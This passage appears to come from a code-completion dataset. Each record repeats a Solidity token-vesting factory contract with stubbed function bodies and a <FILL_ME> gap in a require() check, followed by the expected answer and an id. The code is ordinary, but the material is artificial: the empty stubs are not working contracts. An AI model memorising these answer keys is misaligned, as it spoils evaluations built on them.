success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) public onlyRole(ADMIN) returns (bool) { } /** * @notice Sets up vesting schedules for multiple users within 1 transaction. * @dev adds a new Schedule to the schedules mapping. * @param accounts an array of the accounts that the vesting schedules are being set up for. * Will be able to claim tokens after the cliff period. * @param amount an array of the amount of tokens being vested for each user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function multiVest( address[] calldata accounts, uint256[] calldata amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external returns (bool) { } /** * @notice Claim all vested tokens by msg.sender. */ function claimAll() public { } /** * @notice Revoke tokens from vesting by contract ADMIN (if revokable is true in schedule). * @dev Any outstanding tokens are returned to the beneficiary. * @param vestingContract vesting contract. * @param beneficiary address to send tokens. * @return bool success. */ function revoke(address vestingContract, address beneficiary) external onlyRole(ADMIN) returns (bool) { require(<FILL_ME>) require(IVesting(vestingContract).revoke(beneficiary)); require(_revokableVestings.remove(vestingContract)); return true; } /** * @notice Adds asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function addAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Remove asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function removeAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Create new contract with salt. */ function create(uint256 _salt) internal returns (address) { } /** * @notice Deploy new contract with salt. */ function deploy(bytes memory code, bytes32 salt) internal returns (address addr) { } /** * @notice Bytecode. */ function getBytecode() internal pure returns (bytes memory) { } /** * @notice Shows all claimable amount for specific account. * @param account the account that a vesting schedule is being set up for. * @return uint256 claimable amount for specific account. */ function claimableAmount(address account) public view returns (uint256){ } /** * @notice Lists all vesting contracts of account. * @param account the account that a vesting schedule is being set up for. * @return address[] array of account contracts. */ function vestingsOfAccount(address account) external view returns (address[] memory) { } /** * @notice Total amount of vestings. * @return uint256 total amount. */ function vestingsAmount() external view returns(uint256) { } /** * @notice Lists all vesting contracts. * @return address[] array of contracts. */ function allVestings() external view returns (address[] memory) { } /** * @notice Lists all revokable vesting contracts. * @return address[] array of contracts. */ function revokableVestings() external view returns (address[] memory) { } }
_revokableVestings.contains(vestingContract),"VestingFactory: not a revokable vesting contract"
193,359
_revokableVestings.contains(vestingContract)
null
pragma solidity ^0.8.18; // SPDX-License-Identifier: MIT // ---------------------------------------------------------------------------- // 1ex Vesting factory contract // ---------------------------------------------------------------------------- import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; contract OneExVesting { using SafeERC20 for IERC20; address public owner; struct Schedule { address account; uint256 totalAmount; uint256 claimedAmount; uint256 startTime; uint256 cliffTime; uint256 endTime; address asset; bool revokable; bool revoked; } Schedule public schedule; event Claim(address indexed claimer, uint256 amount); event Vest(address indexed account, uint256 amount); event Revoked(address indexed beneficiary, uint256 amount); constructor() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @notice Claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of days that the cliff will be present at. * @param vestingDays the number of days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external onlyOwner returns(bool) { } /** * @return Calculates the amount of tokens to distribute in time. * return uint256 all tokens to distribute. */ function calcDistribution() internal view returns (uint256) { } /** * @return Calculates claimable amount of tokens. * return uint256 claimable amount. */ function claimableAmount() public view returns (uint256) { } /** * @notice Claim vested tokens from VestingFactory. */ function claim() external onlyOwner { } /** * @notice Claim vested tokens if the cliff time has passed. */ function claimInternal() internal { } /** * @notice Allows a vesting schedule to be cancelled. * @dev Any outstanding tokens are returned to the beneficiary. * @param beneficiary the account for tokens transfer. */ function revoke(address beneficiary) external onlyOwner returns(bool) { } } interface IVesting { function vest(address account,uint256 amount,address asset,uint256 cliffDays,uint256 vestingDays, uint256 startTime, bool isRevokable) external returns (bool); function revoke(address beneficiary) external returns (bool); function claim() external; function claimableAmount() external view returns (uint256); } contract OneExVestingFactory is AccessControl { using Address for address; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _allVestings; EnumerableSet.AddressSet private _revokableVestings; EnumerableSet.AddressSet private _supportedAssets; bytes32 public constant ADMIN = keccak256("ADMIN"); struct Vestings{ address[] vestings; } mapping(address => Vestings) private accountVestings; event NewVesting(address indexed newContract, address indexed account); event AddAsset(address indexed _asset); event RemoveAsset(address indexed _asset); constructor() { } /** * @notice all claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be rugged or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) public onlyRole(ADMIN) returns (bool) { } /** * @notice Sets up vesting schedules for multiple users within 1 transaction. * @dev adds a new Schedule to the schedules mapping. * @param accounts an array of the accounts that the vesting schedules are being set up for. * Will be able to claim tokens after the cliff period. * @param amount an array of the amount of tokens being vested for each user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function multiVest( address[] calldata accounts, uint256[] calldata amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external returns (bool) { } /** * @notice Claim all vested tokens by msg.sender. */ function claimAll() public { } /** * @notice Revoke tokens from vesting by contract ADMIN (if revokable is true in schedule). * @dev Any outstanding tokens are returned to the beneficiary. * @param vestingContract vesting contract. * @param beneficiary address to send tokens. * @return bool success. */ function revoke(address vestingContract, address beneficiary) external onlyRole(ADMIN) returns (bool) { require(_revokableVestings.contains(vestingContract), "VestingFactory: not a revokable vesting contract"); require(<FILL_ME>) require(_revokableVestings.remove(vestingContract)); return true; } /** * @notice Adds asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function addAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Remove asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function removeAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Create new contract with salt. */ function create(uint256 _salt) internal returns (address) { } /** * @notice Deploy new contract with salt. */ function deploy(bytes memory code, bytes32 salt) internal returns (address addr) { } /** * @notice Bytecode. */ function getBytecode() internal pure returns (bytes memory) { } /** * @notice Shows all claimable amount for specific account. * @param account the account that a vesting schedule is being set up for. * @return uint256 claimable amount for specific account. */ function claimableAmount(address account) public view returns (uint256){ } /** * @notice Lists all vesting contracts of account. * @param account the account that a vesting schedule is being set up for. * @return address[] array of account contracts. */ function vestingsOfAccount(address account) external view returns (address[] memory) { } /** * @notice Total amount of vestings. * @return uint256 total amount. */ function vestingsAmount() external view returns(uint256) { } /** * @notice Lists all vesting contracts. * @return address[] array of contracts. */ function allVestings() external view returns (address[] memory) { } /** * @notice Lists all revokable vesting contracts. * @return address[] array of contracts. */ function revokableVestings() external view returns (address[] memory) { } }
IVesting(vestingContract).revoke(beneficiary)
193,359
IVesting(vestingContract).revoke(beneficiary)
null
pragma solidity ^0.8.18; // SPDX-License-Identifier: MIT // ---------------------------------------------------------------------------- // 1ex Vesting factory contract // ---------------------------------------------------------------------------- import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; contract OneExVesting { using SafeERC20 for IERC20; address public owner; struct Schedule { address account; uint256 totalAmount; uint256 claimedAmount; uint256 startTime; uint256 cliffTime; uint256 endTime; address asset; bool revokable; bool revoked; } Schedule public schedule; event Claim(address indexed claimer, uint256 amount); event Vest(address indexed account, uint256 amount); event Revoked(address indexed beneficiary, uint256 amount); constructor() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @notice Claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of days that the cliff will be present at. * @param vestingDays the number of days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external onlyOwner returns(bool) { } /** * @return Calculates the amount of tokens to distribute in time. * return uint256 all tokens to distribute. */ function calcDistribution() internal view returns (uint256) { } /** * @return Calculates claimable amount of tokens. * return uint256 claimable amount. */ function claimableAmount() public view returns (uint256) { } /** * @notice Claim vested tokens from VestingFactory. */ function claim() external onlyOwner { } /** * @notice Claim vested tokens if the cliff time has passed. */ function claimInternal() internal { } /** * @notice Allows a vesting schedule to be cancelled. * @dev Any outstanding tokens are returned to the beneficiary. * @param beneficiary the account for tokens transfer. */ function revoke(address beneficiary) external onlyOwner returns(bool) { } } interface IVesting { function vest(address account,uint256 amount,address asset,uint256 cliffDays,uint256 vestingDays, uint256 startTime, bool isRevokable) external returns (bool); function revoke(address beneficiary) external returns (bool); function claim() external; function claimableAmount() external view returns (uint256); } contract OneExVestingFactory is AccessControl { using Address for address; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _allVestings; EnumerableSet.AddressSet private _revokableVestings; EnumerableSet.AddressSet private _supportedAssets; bytes32 public constant ADMIN = keccak256("ADMIN"); struct Vestings{ address[] vestings; } mapping(address => Vestings) private accountVestings; event NewVesting(address indexed newContract, address indexed account); event AddAsset(address indexed _asset); event RemoveAsset(address indexed _asset); constructor() { } /** * @notice all claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be rugged or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) public onlyRole(ADMIN) returns (bool) { } /** * @notice Sets up vesting schedules for multiple users within 1 transaction. * @dev adds a new Schedule to the schedules mapping. * @param accounts an array of the accounts that the vesting schedules are being set up for. * Will be able to claim tokens after the cliff period. * @param amount an array of the amount of tokens being vested for each user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function multiVest( address[] calldata accounts, uint256[] calldata amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external returns (bool) { } /** * @notice Claim all vested tokens by msg.sender. */ function claimAll() public { } /** * @notice Revoke tokens from vesting by contract ADMIN (if revokable is true in schedule). * @dev Any outstanding tokens are returned to the beneficiary. * @param vestingContract vesting contract. * @param beneficiary address to send tokens. * @return bool success. */ function revoke(address vestingContract, address beneficiary) external onlyRole(ADMIN) returns (bool) { require(_revokableVestings.contains(vestingContract), "VestingFactory: not a revokable vesting contract"); require(IVesting(vestingContract).revoke(beneficiary)); require(<FILL_ME>) return true; } /** * @notice Adds asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function addAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Remove asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function removeAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Create new contract with salt. */ function create(uint256 _salt) internal returns (address) { } /** * @notice Deploy new contract with salt. */ function deploy(bytes memory code, bytes32 salt) internal returns (address addr) { } /** * @notice Bytecode. */ function getBytecode() internal pure returns (bytes memory) { } /** * @notice Shows all claimable amount for specific account. * @param account the account that a vesting schedule is being set up for. * @return uint256 claimable amount for specific account. */ function claimableAmount(address account) public view returns (uint256){ } /** * @notice Lists all vesting contracts of account. * @param account the account that a vesting schedule is being set up for. * @return address[] array of account contracts. */ function vestingsOfAccount(address account) external view returns (address[] memory) { } /** * @notice Total amount of vestings. * @return uint256 total amount. */ function vestingsAmount() external view returns(uint256) { } /** * @notice Lists all vesting contracts. * @return address[] array of contracts. */ function allVestings() external view returns (address[] memory) { } /** * @notice Lists all revokable vesting contracts. * @return address[] array of contracts. */ function revokableVestings() external view returns (address[] memory) { } }
_revokableVestings.remove(vestingContract)
193,359
_revokableVestings.remove(vestingContract)
"VestingFactory: Asset is not a contract"
pragma solidity ^0.8.18; // SPDX-License-Identifier: MIT // ---------------------------------------------------------------------------- // 1ex Vesting factory contract // ---------------------------------------------------------------------------- import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; contract OneExVesting { using SafeERC20 for IERC20; address public owner; struct Schedule { address account; uint256 totalAmount; uint256 claimedAmount; uint256 startTime; uint256 cliffTime; uint256 endTime; address asset; bool revokable; bool revoked; } Schedule public schedule; event Claim(address indexed claimer, uint256 amount); event Vest(address indexed account, uint256 amount); event Revoked(address indexed beneficiary, uint256 amount); constructor() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @notice Claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of days that the cliff will be present at. * @param vestingDays the number of days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external onlyOwner returns(bool) { } /** * @return Calculates the amount of tokens to distribute in time. * return uint256 all tokens to distribute. */ function calcDistribution() internal view returns (uint256) { } /** * @return Calculates claimable amount of tokens. * return uint256 claimable amount. */ function claimableAmount() public view returns (uint256) { } /** * @notice Claim vested tokens from VestingFactory. */ function claim() external onlyOwner { } /** * @notice Claim vested tokens if the cliff time has passed. */ function claimInternal() internal { } /** * @notice Allows a vesting schedule to be cancelled. * @dev Any outstanding tokens are returned to the beneficiary. * @param beneficiary the account for tokens transfer. */ function revoke(address beneficiary) external onlyOwner returns(bool) { } } interface IVesting { function vest(address account,uint256 amount,address asset,uint256 cliffDays,uint256 vestingDays, uint256 startTime, bool isRevokable) external returns (bool); function revoke(address beneficiary) external returns (bool); function claim() external; function claimableAmount() external view returns (uint256); } contract OneExVestingFactory is AccessControl { using Address for address; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _allVestings; EnumerableSet.AddressSet private _revokableVestings; EnumerableSet.AddressSet private _supportedAssets; bytes32 public constant ADMIN = keccak256("ADMIN"); struct Vestings{ address[] vestings; } mapping(address => Vestings) private accountVestings; event NewVesting(address indexed newContract, address indexed account); event AddAsset(address indexed _asset); event RemoveAsset(address indexed _asset); constructor() { } /** * @notice all claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be rugged or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) public onlyRole(ADMIN) returns (bool) { } /** * @notice Sets up vesting schedules for multiple users within 1 transaction. * @dev adds a new Schedule to the schedules mapping. * @param accounts an array of the accounts that the vesting schedules are being set up for. * Will be able to claim tokens after the cliff period. * @param amount an array of the amount of tokens being vested for each user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function multiVest( address[] calldata accounts, uint256[] calldata amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external returns (bool) { } /** * @notice Claim all vested tokens by msg.sender. */ function claimAll() public { } /** * @notice Revoke tokens from vesting by contract ADMIN (if revokable is true in schedule). * @dev Any outstanding tokens are returned to the beneficiary. * @param vestingContract vesting contract. * @param beneficiary address to send tokens. * @return bool success. */ function revoke(address vestingContract, address beneficiary) external onlyRole(ADMIN) returns (bool) { } /** * @notice Adds asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function addAsset(address _asset) external onlyRole(ADMIN) { require(<FILL_ME>) require(_supportedAssets.add(_asset), "VestingFactory: Asset is already in the list"); emit AddAsset(_asset); } /** * @notice Remove asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function removeAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Create new contract with salt. */ function create(uint256 _salt) internal returns (address) { } /** * @notice Deploy new contract with salt. */ function deploy(bytes memory code, bytes32 salt) internal returns (address addr) { } /** * @notice Bytecode. */ function getBytecode() internal pure returns (bytes memory) { } /** * @notice Shows all claimable amount for specific account. * @param account the account that a vesting schedule is being set up for. * @return uint256 claimable amount for specific account. */ function claimableAmount(address account) public view returns (uint256){ } /** * @notice Lists all vesting contracts of account. * @param account the account that a vesting schedule is being set up for. * @return address[] array of account contracts. */ function vestingsOfAccount(address account) external view returns (address[] memory) { } /** * @notice Total amount of vestings. * @return uint256 total amount. */ function vestingsAmount() external view returns(uint256) { } /** * @notice Lists all vesting contracts. * @return address[] array of contracts. */ function allVestings() external view returns (address[] memory) { } /** * @notice Lists all revokable vesting contracts. * @return address[] array of contracts. */ function revokableVestings() external view returns (address[] memory) { } }
_asset.isContract(),"VestingFactory: Asset is not a contract"
193,359
_asset.isContract()
"VestingFactory: Asset is already in the list"
pragma solidity ^0.8.18; // SPDX-License-Identifier: MIT // ---------------------------------------------------------------------------- // 1ex Vesting factory contract // ---------------------------------------------------------------------------- import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; contract OneExVesting { using SafeERC20 for IERC20; address public owner; struct Schedule { address account; uint256 totalAmount; uint256 claimedAmount; uint256 startTime; uint256 cliffTime; uint256 endTime; address asset; bool revokable; bool revoked; } Schedule public schedule; event Claim(address indexed claimer, uint256 amount); event Vest(address indexed account, uint256 amount); event Revoked(address indexed beneficiary, uint256 amount); constructor() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @notice Claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of days that the cliff will be present at. * @param vestingDays the number of days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external onlyOwner returns(bool) { } /** * @return Calculates the amount of tokens to distribute in time. * return uint256 all tokens to distribute. */ function calcDistribution() internal view returns (uint256) { } /** * @return Calculates claimable amount of tokens. * return uint256 claimable amount. */ function claimableAmount() public view returns (uint256) { } /** * @notice Claim vested tokens from VestingFactory. */ function claim() external onlyOwner { } /** * @notice Claim vested tokens if the cliff time has passed. */ function claimInternal() internal { } /** * @notice Allows a vesting schedule to be cancelled. * @dev Any outstanding tokens are returned to the beneficiary. * @param beneficiary the account for tokens transfer. */ function revoke(address beneficiary) external onlyOwner returns(bool) { } } interface IVesting { function vest(address account,uint256 amount,address asset,uint256 cliffDays,uint256 vestingDays, uint256 startTime, bool isRevokable) external returns (bool); function revoke(address beneficiary) external returns (bool); function claim() external; function claimableAmount() external view returns (uint256); } contract OneExVestingFactory is AccessControl { using Address for address; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _allVestings; EnumerableSet.AddressSet private _revokableVestings; EnumerableSet.AddressSet private _supportedAssets; bytes32 public constant ADMIN = keccak256("ADMIN"); struct Vestings{ address[] vestings; } mapping(address => Vestings) private accountVestings; event NewVesting(address indexed newContract, address indexed account); event AddAsset(address indexed _asset); event RemoveAsset(address indexed _asset); constructor() { } /** * @notice all claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be rugged or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) public onlyRole(ADMIN) returns (bool) { } /** * @notice Sets up vesting schedules for multiple users within 1 transaction. * @dev adds a new Schedule to the schedules mapping. * @param accounts an array of the accounts that the vesting schedules are being set up for. * Will be able to claim tokens after the cliff period. * @param amount an array of the amount of tokens being vested for each user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function multiVest( address[] calldata accounts, uint256[] calldata amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external returns (bool) { } /** * @notice Claim all vested tokens by msg.sender. */ function claimAll() public { } /** * @notice Revoke tokens from vesting by contract ADMIN (if revokable is true in schedule). * @dev Any outstanding tokens are returned to the beneficiary. * @param vestingContract vesting contract. * @param beneficiary address to send tokens. * @return bool success. */ function revoke(address vestingContract, address beneficiary) external onlyRole(ADMIN) returns (bool) { } /** * @notice Adds asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function addAsset(address _asset) external onlyRole(ADMIN) { require(_asset.isContract(), "VestingFactory: Asset is not a contract"); require(<FILL_ME>) emit AddAsset(_asset); } /** * @notice Remove asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function removeAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Create new contract with salt. */ function create(uint256 _salt) internal returns (address) { } /** * @notice Deploy new contract with salt. */ function deploy(bytes memory code, bytes32 salt) internal returns (address addr) { } /** * @notice Bytecode. */ function getBytecode() internal pure returns (bytes memory) { } /** * @notice Shows all claimable amount for specific account. * @param account the account that a vesting schedule is being set up for. * @return uint256 claimable amount for specific account. */ function claimableAmount(address account) public view returns (uint256){ } /** * @notice Lists all vesting contracts of account. * @param account the account that a vesting schedule is being set up for. * @return address[] array of account contracts. */ function vestingsOfAccount(address account) external view returns (address[] memory) { } /** * @notice Total amount of vestings. * @return uint256 total amount. */ function vestingsAmount() external view returns(uint256) { } /** * @notice Lists all vesting contracts. * @return address[] array of contracts. */ function allVestings() external view returns (address[] memory) { } /** * @notice Lists all revokable vesting contracts. * @return address[] array of contracts. */ function revokableVestings() external view returns (address[] memory) { } }
_supportedAssets.add(_asset),"VestingFactory: Asset is already in the list"
193,359
_supportedAssets.add(_asset)
"VestingFactory: No asset in the list"
pragma solidity ^0.8.18; // SPDX-License-Identifier: MIT // ---------------------------------------------------------------------------- // 1ex Vesting factory contract // ---------------------------------------------------------------------------- import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; contract OneExVesting { using SafeERC20 for IERC20; address public owner; struct Schedule { address account; uint256 totalAmount; uint256 claimedAmount; uint256 startTime; uint256 cliffTime; uint256 endTime; address asset; bool revokable; bool revoked; } Schedule public schedule; event Claim(address indexed claimer, uint256 amount); event Vest(address indexed account, uint256 amount); event Revoked(address indexed beneficiary, uint256 amount); constructor() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @notice Claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of days that the cliff will be present at. * @param vestingDays the number of days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external onlyOwner returns(bool) { } /** * @return Calculates the amount of tokens to distribute in time. * return uint256 all tokens to distribute. */ function calcDistribution() internal view returns (uint256) { } /** * @return Calculates claimable amount of tokens. * return uint256 claimable amount. */ function claimableAmount() public view returns (uint256) { } /** * @notice Claim vested tokens from VestingFactory. */ function claim() external onlyOwner { } /** * @notice Claim vested tokens if the cliff time has passed. */ function claimInternal() internal { } /** * @notice Allows a vesting schedule to be cancelled. * @dev Any outstanding tokens are returned to the beneficiary. * @param beneficiary the account for tokens transfer. */ function revoke(address beneficiary) external onlyOwner returns(bool) { } } interface IVesting { function vest(address account,uint256 amount,address asset,uint256 cliffDays,uint256 vestingDays, uint256 startTime, bool isRevokable) external returns (bool); function revoke(address beneficiary) external returns (bool); function claim() external; function claimableAmount() external view returns (uint256); } contract OneExVestingFactory is AccessControl { using Address for address; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _allVestings; EnumerableSet.AddressSet private _revokableVestings; EnumerableSet.AddressSet private _supportedAssets; bytes32 public constant ADMIN = keccak256("ADMIN"); struct Vestings{ address[] vestings; } mapping(address => Vestings) private accountVestings; event NewVesting(address indexed newContract, address indexed account); event AddAsset(address indexed _asset); event RemoveAsset(address indexed _asset); constructor() { } /** * @notice all claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be rugged or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) public onlyRole(ADMIN) returns (bool) { } /** * @notice Sets up vesting schedules for multiple users within 1 transaction. * @dev adds a new Schedule to the schedules mapping. * @param accounts an array of the accounts that the vesting schedules are being set up for. * Will be able to claim tokens after the cliff period. * @param amount an array of the amount of tokens being vested for each user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function multiVest( address[] calldata accounts, uint256[] calldata amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external returns (bool) { } /** * @notice Claim all vested tokens by msg.sender. */ function claimAll() public { } /** * @notice Revoke tokens from vesting by contract ADMIN (if revokable is true in schedule). * @dev Any outstanding tokens are returned to the beneficiary. * @param vestingContract vesting contract. * @param beneficiary address to send tokens. * @return bool success. */ function revoke(address vestingContract, address 